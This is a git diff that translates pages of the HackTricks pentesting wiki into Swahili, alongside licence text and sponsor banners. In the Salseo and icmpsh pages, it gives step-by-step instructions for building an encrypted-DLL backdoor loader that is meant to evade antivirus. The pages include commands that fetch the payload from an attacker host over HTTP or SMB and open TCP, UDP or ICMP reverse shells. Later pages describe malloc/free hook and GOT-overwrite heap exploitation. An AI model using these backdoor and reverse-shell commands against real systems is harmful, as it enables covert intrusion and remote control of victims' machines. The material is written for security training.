d. Hakuna kitu katika Leseni hii ya Umma kinachounda au kinaweza kutafsiriwa kama kizuizi juu ya, au kuondolewa kwa, haki na kinga zozote zinazotumika kwa Mtoaji leseni au Wewe, ikiwa ni pamoja na kutoka kwa michakato ya kisheria ya mamlaka yoyote au mamlaka.
```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

View File

@ -7,7 +7,7 @@ Reading time: {{ #reading_time }}
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Karibu kwenye wiki ambapo utaweza kupata kila hila/mbinu ya udukuzi/chochote nilichojifunza kutoka CTFs, programu za maisha halisi, kusoma tafiti, na habari.**
> **Karibu kwenye wiki ambapo utaweza kupata kila hila/mbinu ya hacking/chochote nilichojifunza kutoka CTFs, programu za maisha halisi, kusoma tafiti, na habari.**
Ili kuanza fuata ukurasa huu ambapo utaweza kupata **mchakato wa kawaida** ambao **unapaswa kufuata unapofanya pentesting** kwenye mashine moja au zaidi:
@ -21,9 +21,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli mbiu yake ni **HACK THE UNHACKABLE**. Wanatekeleza tafiti zao wenyewe na kuunda zana zao za udukuzi ili **kutoa huduma kadhaa za thamani za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
[**STM Cyber**](https://www.stmcyber.com) ni kampuni kubwa ya usalama wa mtandao ambayo kauli mbiu yake ni **HACK THE UNHACKABLE**. Wanatekeleza tafiti zao wenyewe na kuunda zana zao za hacking ili **kutoa huduma kadhaa za thamani za usalama wa mtandao** kama pentesting, Red teams na mafunzo.
Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
Unaweza kuangalia **blog** yao katika [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** pia inasaidia miradi ya usalama wa mtandao ya chanzo wazi kama HackTricks :)
@ -33,7 +33,7 @@ Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://b
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Uhispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
{% embed url="https://www.rootedcon.com/" %}
@ -43,7 +43,7 @@ Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://b
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** ni **jukwaa nambari moja** la udukuzi wa kimaadili na **bug bounty** barani **Ulaya**.
**Intigriti** ni **jukwaa nambari moja** la hacking ya kimaadili na **bug bounty** barani **Ulaya**.
**Bug bounty tip**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
@ -56,7 +56,7 @@ Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://b
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kujiendesha** kwa urahisi kwa kutumia zana za jamii zenye **maendeleo zaidi** duniani.
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kujiendesha** kwa urahisi mchakato wa kazi unaoendeshwa na zana za jamii **za kisasa zaidi** duniani.
Pata Ufikiaji Leo:
@ -70,8 +70,8 @@ Pata Ufikiaji Leo:
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
- **Hacking Insights:** Jihusishe na maudhui yanayoangazia msisimko na changamoto za udukuzi
- **Real-Time Hack News:** Fuata habari za haraka za ulimwengu wa udukuzi kupitia habari na maarifa ya wakati halisi
- **Hacking Insights:** Jihusishe na maudhui yanayoangazia msisimko na changamoto za hacking
- **Real-Time Hack News:** Fuata habari za haraka za hacking kupitia habari na maarifa ya wakati halisi
- **Latest Announcements:** Kuwa na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na hackers bora leo!
@ -94,13 +94,13 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data zote zenye muundo mzuri kwa ajili yako.
**SerpApi** inatoa APIs za haraka na rahisi za wakati halisi ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data zote za muundo wa tajiri kwa ajili yako.
Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kukusanya data kutoka kwa injini tofauti za utafutaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
Tofauti na watoa huduma wengine, **SerpApi haisafishi tu matokeo ya asili**. Majibu ya SerpApi mara kwa mara yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele na sifa nyingine zilizopo katika matokeo ya utafutaji.
Wateja wa sasa wa SerpApi ni **Apple, Shopify, na GrubHub**.\
Kwa maelezo zaidi angalia [**blogu**](https://serpapi.com/blog/)**,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)**.**\
Kwa maelezo zaidi angalia [**blog**](https://serpapi.com/blog/)** yao,** au jaribu mfano katika [**playground**](https://serpapi.com/playground)** yao.**\
Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)**.**
---
@ -109,7 +109,7 @@ Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign_up)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na uhandisi wa kurudi ili kulinda programu na vifaa vya simu. **Tawala usalama wa iOS na Android** kupitia kozi zetu za mahitaji na **pata cheti**:
Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na uhandisi wa kurudi ili kulinda programu na vifaa vya simu. **Tawala usalama wa iOS na Android** kupitia kozi zetu za on-demand na **pata cheti**:
{% embed url="https://academy.8ksec.io/" %}
@ -119,11 +119,11 @@ Jifunze teknolojia na ujuzi unaohitajika kufanya utafiti wa udhaifu, kupenya, na
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo husaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia ya **kisasa**.
[**WebSec**](https://websec.nl) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo inasaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia **ya kisasa**.
WebSec ni **kampuni ya usalama ya kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Matumizi, Utoaji wa Wataalamu wa Usalama na mengi zaidi.
WebSec ni kampuni ya **usalama wa kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Matumizi, Utoaji wa Wataalamu wa Usalama na mengi zaidi.
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.nl/en/) na [**blogu**](https://websec.nl/blog/)!
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti**](https://websec.nl/en/) yao na [**blog**](https://websec.nl/blog/)!
Mbali na hayo WebSec pia ni **mshabiki aliyejitolea wa HackTricks.**
@ -131,7 +131,7 @@ Mbali na hayo WebSec pia ni **mshabiki aliyejitolea wa HackTricks.**
## License & Disclaimer
Angalia katika:
Angalia kwenye:
{{#ref}}
welcome/hacktricks-values-and-faq.md

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md)

View File

@ -4,7 +4,7 @@
## Locked Device
Ili kuanza kutoa data kutoka kwa kifaa cha Android, lazima kifaa kiwe wazi. Ikiwa kimefungwa unaweza:
Ili kuanza kutoa data kutoka kwa kifaa cha Android, lazima kiwe kimefunguliwa. Ikiwa kimefungwa unaweza:
- Kuangalia ikiwa kifaa kina ufuatiliaji kupitia USB umewezeshwa.
- Kuangalia kwa shambulio la [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
Pakua backdoor kutoka: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side
# Upande wa mteja
Execute the script: **run.sh**
**If you get some error, try to change the lines:**
Tekeleza script: **run.sh**
**Ikiwa unapata makosa, jaribu kubadilisha mistari:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**For:**
**Kwa:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Upande wa Mwathirika**
# **Victim Side**
Upload **icmpsh.exe** to the victim and execute:
Pakia **icmpsh.exe** kwa mwathirika na uendeshe:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## Compiling the binaries
## Kuunda binaries
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
Pakua msimbo wa chanzo kutoka github na uunde **EvilSalsa** na **SalseoLoader**. Utahitaji **Visual Studio** iliyosakinishwa ili kuunda msimbo huo.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
Unda miradi hiyo kwa ajili ya usanifu wa sanduku la windows ambapo unakusudia kuyatumia (Ikiwa Windows inasaidia x64 uunde kwa usanifu huo).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
Unaweza **kuchagua usanifu** ndani ya Visual Studio katika **"Build" Tab** ya kushoto katika **"Platform Target".**
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
(\*\*Ikiwa huwezi kupata chaguo hizi bonyeza kwenye **"Project Tab"** kisha kwenye **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Kisha, jenga miradi yote miwili (Build -> Build Solution) (Ndani ya logi zitaonekana njia ya executable):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor
## Andaa Backdoor
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
Kwanza kabisa, utahitaji kuandika **EvilSalsa.dll.** Ili kufanya hivyo, unaweza kutumia script ya python **encrypterassembly.py** au unaweza kuunda mradi **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Sawa, sasa una kila kitu unachohitaji kutekeleza mambo yote ya Salseo: **encoded EvilDalsa.dll** na **binary ya SalseoLoader.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**Pakia binary ya SalseoLoader.exe kwenye mashine. Hazipaswi kugundulika na AV yoyote...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **Tekeleza backdoor**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **Kupata TCP reverse shell (kupakua dll iliyosimbwa kupitia HTTP)**
Kumbuka kuanzisha nc kama msikilizaji wa reverse shell na seva ya HTTP kutoa evilsalsa iliyosimbwa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Kupata shell ya UDP reverse (kupakua dll iliyokodishwa kupitia SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
Kumbuka kuanzisha nc kama msikilizaji wa shell ya reverse, na seva ya SMB kutoa evilsalsa iliyokodishwa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Kupata shell ya ICMP reverse (dll iliyokodishwa tayari ndani ya mwathirika)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**Wakati huu unahitaji chombo maalum kwenye mteja kupokea shell ya reverse. Pakua:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Zima Majibu ya ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### Tekeleza mteja:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### Ndani ya mwathirika, hebu tuendeshe kitu cha salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Kuunda SalseoLoader kama DLL inayosafirisha kazi kuu
## Compiling SalseoLoader as DLL exporting main function
Fungua mradi wa SalseoLoader ukitumia Visual Studio.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### Ongeza kabla ya kazi kuu: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### Sakinisha DllExport kwa mradi huu
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Zana** --> **Meneja wa Kifurushi cha NuGet** --> **Simamisha Kifurushi cha NuGet kwa Suluhisho...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **Tafuta kifurushi cha DllExport (ukitumia kichupo cha Browse), na bonyeza Sakinisha (na kubali popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
Katika folda yako ya mradi, faili zifuatazo zimeonekana: **DllExport.bat** na **DllExport_Configure.bat**
### **U**ninstall DllExport
### **U**ondoe DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
Bonyeza **Ondoa** (ndiyo, ni ajabu lakini ni muhimu)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Toka Visual Studio na tekeleza DllExport_configure**
Just **exit** Visual Studio
Tu **toka** Visual Studio
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
Kisha, nenda kwenye **folda ya SalseoLoader** yako na **tekeleza DllExport_Configure.bat**
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
Chagua **x64** (ikiwa unakusudia kuitumia ndani ya sanduku la x64, hiyo ilikuwa hali yangu), chagua **System.Runtime.InteropServices** (ndani ya **Namespace kwa DllExport**) na bonyeza **Tumia**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Fungua mradi tena na visual Studio**
**\[DllExport]** should not be longer marked as error
**\[DllExport]** haipaswi kuwa na alama ya kosa tena
![](<../images/image (8) (1).png>)
### Build the solution
### Jenga suluhisho
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
Chagua **Aina ya Matokeo = Maktaba ya Darasa** (Mradi --> SalseoLoader Mali --> Programu --> Aina ya matokeo = Maktaba ya Darasa)
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
Chagua **jukwaa la x64** (Mradi --> SalseoLoader Mali --> Jenga --> Lengo la jukwaa = x64)
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
Ili **kujenga** suluhisho: Jenga --> Jenga Suluhisho (Ndani ya console ya Matokeo, njia ya DLL mpya itaonekana)
### Test the generated Dll
### Jaribu Dll iliyozalishwa
Copy and paste the Dll where you want to test it.
Execute:
Nakili na ubandike Dll mahali unapotaka kuijaribu.
Tekeleza:
```
rundll32.exe SalseoLoader.dll,main
```
Ikiwa hakuna kosa linalojitokeza, huenda una DLL inayofanya kazi!!
If no error appears, probably you have a functional DLL!!
## Pata shell ukitumia DLL
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
Usisahau kutumia **HTTP** **server** na kuweka **nc** **listener**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
>
> </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# Kuandika Bila Mpangilio 2 Kutekeleza

View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
Kama unavyoweza [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), variable **`__malloc_hook`** ni pointer inayotaja **anwani ya kazi itakayoitwa** kila wakati `malloc()` inapoitwa **iliyohifadhiwa katika sehemu ya data ya maktaba ya libc**. Hivyo, ikiwa anwani hii itabadilishwa na **One Gadget** kwa mfano na `malloc` inaitwa, **One Gadget itaitwa**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
Ili kuita malloc inawezekana kusubiri programu iite au kwa **kuita `printf("%10000$c")`** ambayo inapata bytes nyingi sana ikifanya `libc` kuita malloc ili kuzigawa kwenye heap.
More info about One Gadget in:
Maelezo zaidi kuhusu One Gadget katika:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> Kumbuka kwamba hooks zime **zimemalizwa kwa GLIBC >= 2.34**. Kuna mbinu nyingine ambazo zinaweza kutumika kwenye toleo za kisasa za GLIBC. Tazama: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
Hii ilitumiwa vibaya katika moja ya mifano kutoka kwenye ukurasa ikitumia shambulio la fast bin baada ya kutumia shambulio la unsorted bin:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
Inawezekana kupata anwani ya `__free_hook` ikiwa binary ina alama kwa kutumia amri ifuatayo:
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[Katika posti](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) unaweza kupata mwongozo wa hatua kwa hatua juu ya jinsi ya kupata anwani ya hook ya bure bila alama. Kama muhtasari, katika kazi ya bure:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -45,26 +43,26 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
Katika kuvunjika kunakotajwa katika msimbo wa awali katika `$eax` kutakuwa na anwani ya hook ya bure.
Now a **fast bin attack** is performed:
Sasa **shambulio la fast bin** linafanywa:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- Kwanza kabisa inagundulika kuwa inawezekana kufanya kazi na **chunks za ukubwa 200** katika eneo la **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Ikiwa tutafanikiwa kupata chunk ya haraka ya ukubwa 0x200 katika eneo hili, itakuwa inawezekana kubadilisha kiashiria cha kazi ambacho kitatekelezwa
- Kwa hili, chunk mpya ya ukubwa `0xfc` inaundwa na kazi iliyounganishwa inaitwa kwa kiashiria hicho mara mbili, kwa njia hii tunapata kiashiria kwa chunk iliyofutwa ya ukubwa `0xfc*2 = 0x1f8` katika fast bin.
- Kisha, kazi ya kuhariri inaitwa katika chunk hii kubadilisha anwani ya **`fd`** ya fast bin hii ili kuelekeza kwenye kazi ya awali ya **`__free_hook`**.
- Kisha, chunk yenye ukubwa `0x1f8` inaundwa ili kupata kutoka kwa fast bin chunk isiyo na matumizi ya awali ili chunk nyingine ya ukubwa `0x1f8` iundwe kupata chunk ya fast bin katika **`__free_hook`** ambayo imeandikwa tena na anwani ya kazi ya **`system`**.
- Na hatimaye, chunk inayoshikilia mfuatano wa `/bin/sh\x00` inafutwa kwa kuita kazi ya kufuta, ikichochea kazi ya **`__free_hook`** ambayo inaelekeza kwa system na `/bin/sh\x00` kama parameter.
## References
## Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

View File

@ -2,86 +2,86 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Taarifa za Msingi**
### **GOT: Global Offset Table**
### **GOT: Jedwali la Uhamisho wa Kimataifa**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
